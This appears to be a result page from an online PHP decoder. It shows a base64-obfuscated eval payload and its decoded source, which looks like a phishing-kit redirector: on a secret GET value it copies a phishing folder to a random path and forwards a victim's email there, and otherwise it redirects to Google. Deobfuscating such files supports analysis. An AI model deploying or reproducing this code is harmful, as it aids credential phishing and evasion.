Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTs..

Decoded Output download

?>b'<?php
session_start();
error_reporting(0);
$Pepper = $_GET["Pepper"];
if ($Pepper == "Them") {
    $random = rand(0, 100000000000);
    $dst = substr(md5($random), 0, 1000000000);
    $gang = $_GET[\'gang\'];
    //+++++++++++++++++// CREATE FOLDER AND COPY FILE +++++++++++++++++
    function recurse_copy($src, $dst) {
        $dir = opendir($src);
        @mkdir($dst);
        while (false !== ($file = readdir($dir))) {
            if (($file != \'.\') && ($file != \'..\')) {
                if (is_dir($src . \'/\' . $file)) {
                    recurse_copy($src . \'/\' . $file, $dst . \'/\' . $file);
                } else {
                    copy($src . \'/\' . $file, $dst . \'/\' . $file);
                }
            }
        }
        closedir($dir);
    }
    $src = "IK";
    recurse_copy($src, $dst);
    header("location:$dst/?email=$gang");
} else {
    $myFile1 = "Z.jpg";
    $fh1 = fopen($myFile1, \'r\');
    $theData1 = fread($fh1, 500000);
    fclose($fh1);
    header("location:https://google.com");
}
?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRQZXBwZXIgPSAkX0dFVFsiUGVwcGVyIl07DQppZiAoJFBlcHBlciA9PSAiVGhlbSIpIHsNCiAgICAkcmFuZG9tID0gcmFuZCgwLCAxMDAwMDAwMDAwMDApOw0KICAgICRkc3QgPSBzdWJzdHIobWQ1KCRyYW5kb20pLCAwLCAxMDAwMDAwMDAwKTsNCiAgICAkZ2FuZyA9ICRfR0VUWydnYW5nJ107DQogICAgLy8rKysrKysrKysrKysrKysrKy8vIENSRUFURSBGT0xERVIgQU5EIENPUFkgRklMRSArKysrKysrKysrKysrKysrKw0KICAgIGZ1bmN0aW9uIHJlY3Vyc2VfY29weSgkc3JjLCAkZHN0KSB7DQogICAgICAgICRkaXIgPSBvcGVuZGlyKCRzcmMpOw0KICAgICAgICBAbWtkaXIoJGRzdCk7DQogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkZGlyKSkpIHsNCiAgICAgICAgICAgIGlmICgoJGZpbGUgIT0gJy4nKSAmJiAoJGZpbGUgIT0gJy4uJykpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRzcmMgLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgcmVjdXJzZV9jb3B5KCRzcmMgLiAnLycgLiAkZmlsZSwgJGRzdCAuICcvJyAuICRmaWxlKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBjb3B5KCRzcmMgLiAnLycgLiAkZmlsZSwgJGRzdCAuICcvJyAuICRmaWxlKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgY2xvc2VkaXIoJGRpcik7DQogICAgfQ0KICAgICRzcmMgPSAiSUsiOw0KICAgIHJlY3Vyc2VfY29weSgkc3JjLCAkZHN0KTsNCiAgICBoZWFkZXIoImxvY2F0aW9uOiRkc3QvP2VtYWlsPSRnYW5nIik7DQp9IGVsc2Ugew0KICAgICRteUZpbGUxID0gIlouanBnIjsNCiAgICAkZmgxID0gZm9wZW4oJG15RmlsZTEsICdyJyk7DQogICAgJHRoZURhdGExID0gZnJlYWQoJGZoMSwgNTAwMDAwKTsNCiAgICBmY2xvc2UoJGZoMSk7DQogICAgaGVhZGVyKCJsb2NhdGlvbjpodHRwczovL2dvb2dsZS5jb20iKTsNCn0NCj8+")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 7fb47cc022e9d89542aa67cc36871787
Eval Count 1
Decode Time 72 ms